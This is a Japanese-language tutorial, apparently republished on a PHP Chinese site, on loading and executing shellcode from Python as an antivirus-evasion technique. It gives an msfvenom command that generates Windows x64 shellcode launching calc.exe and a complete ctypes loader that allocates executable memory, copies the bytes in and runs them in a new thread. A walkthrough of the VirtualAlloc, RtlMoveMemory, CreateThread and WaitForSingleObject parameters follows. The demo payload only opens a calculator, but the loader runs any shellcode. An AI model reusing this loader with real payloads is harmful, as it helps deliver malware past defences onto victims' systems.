ホームページ  >  記事  >  バックエンド開発  >  Python ウイルス対策技術のシェルコードの読み込みと実行方法は何ですか?

Python ウイルス対策技術のシェルコードの読み込みと実行方法は何ですか?

WBOY
WBOY転載
2023-05-10 08:34:171409ブラウズ

0x01 シェルコードの生成

まず、次のコマンドを通じてシェルコードを生成します。msfvenom -p オプションを使用して paylaod を指定します。ここで、windows/x64 および exec モジュールによって受信されるパラメーターを選択します。 calc.exe を使用して電卓をポップアップ表示します。 -f オプションは、生成された Shellcdoe のコンパイル済み言語を実行するために使用されます。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

Python ウイルス対策技術のシェルコードの読み込みと実行方法は何ですか?

0x02 シェルコードをロードして実行するプログラム

プログラムは次のとおりです:

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

if __name__ == "__main__":
    run1()

0x03 プログラムの説明

インポートmodule 、プログラムによって割り当てられたメモリも読み書きできます。

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

リージョン実行可能コード、読み取りおよび書き込み可能

PAGE_EXECUTE_READWRITE = 0x00000040

メモリの割り当て

MEM_COMMIT = 0x3000

プロセスにすべてのアクセス許可を付与

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

Windows APIを呼び出す

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

前に生成したシェルコードをシェルコード パラメータに割り当て、割り当てる前に bytearray 関数を使用してそれを処理します。

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

メソッドを作成して呼び出し、メモリを適用し、シェルコードに割り当てられたメモリ ポインタをポイントします。次に、シェルコードをメモリにコピーします。スレッド イベントを作成して実行します:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

VirtualAlloc はメモリ領域を適用するために使用されます。これは Windows API 関数です。その宣言は次のとおりです:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};

RtlMoveMemory指定されたメモリから別のメモリにメモリをコピーします。構文は次のとおりです:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);
パラメータ:



Destination: 移動先アドレスへのポインタ。

Source: コピーされるメモリ アドレスへのポインタ。
Length: コピーするバイト数を指定します。


CreateThread は、新しいスレッドを作成するために Microsoft が Windows API で提供する関数であり、メイン スレッドに基づいて新しいスレッドを作成します。

関数プロトタイプ:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)
    パラメータの意味
  • lpThreadAttributes: SECURITY_ATTRIBUTES 型の構造体へのポインタ。このパラメータは Windows 98 では無視されます。 Windows NT では、NULL はデフォルトのセキュリティを使用するため、子スレッドに継承することはできません。それ以外の場合は、構造体を定義して、その bInheritHandle メンバを TRUE に初期化する必要があります。
  • dwStackSize、初期スタック サイズをバイト単位で設定します。0 の場合、関数を呼び出すスレッドと同じスタック スペース サイズがデフォルトで使用されます。いずれの場合も、Windows は必要に応じてスタック サイズを動的に拡張します。
  • lpStartAddress、スレッド関数へのポインタ、形式: @関数名、関数名に制限はありません
  • lpParameter: 渡されるパラメータスレッド関数への は構造体へのポインタであり、パラメータを渡す必要がない場合は NULL になります。
  • dwCreationFlags: スレッド フラグ、可能な値は次のとおりです
    • (1) CREATE_SUSPENDED (0x00000004): 一時停止されたスレッドを作成しますthread ,
    • (2) 0: 作成直後にアクティブ化されることを示します。
    • (3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000): dwStackSize パラメーターは初期の予約済みスタック サイズを指定します。それ以外の場合、dwStackSize は送信されたサイズを指定します。このタグ値は、Windows 2000/NT および Windows Me/98/95 ではサポートされていません。
  • lpThreadId: 新しいスレッドの ID を保存します。
    • WaitForSingleObject は Windows API 関数です。待機がまだ保留されている間にハンドルが閉じられた場合、関数の動作は未定義です。ハンドルには SYNCHRONIZE アクセス権が必要です。

宣言:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);

hHandle[in] オブジェクト ハンドル。イベント、ジョブ、メモリリソース通知、ミューテックス、プロセス、セマフォ、スレッド、待機可能タイマーなどの一連のオブジェクトを指定できます。

dwMilliseconds[in] タイミング時間間隔、単位はミリ秒 (ミリ秒)。ゼロ以外の値を指定すると、関数は、hHandle でマークされたオブジェクトがトリガーされるか、時間が経過するまで待機状態になります。 。 dwMilliseconds が 0 の場合、オブジェクトには信号が送られず、関数は待機状態に入らず、常にすぐに戻ります。 dwMilliseconds が INFINITE の場合、関数はオブジェクトがトリガーされるまで戻りません。

プログラムを実行すると、計算機が正常にポップアップ表示されます。 Python ウイルス対策技術のシェルコードの読み込みと実行方法は何ですか?

######

以上がPython ウイルス対策技術のシェルコードの読み込みと実行方法は何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。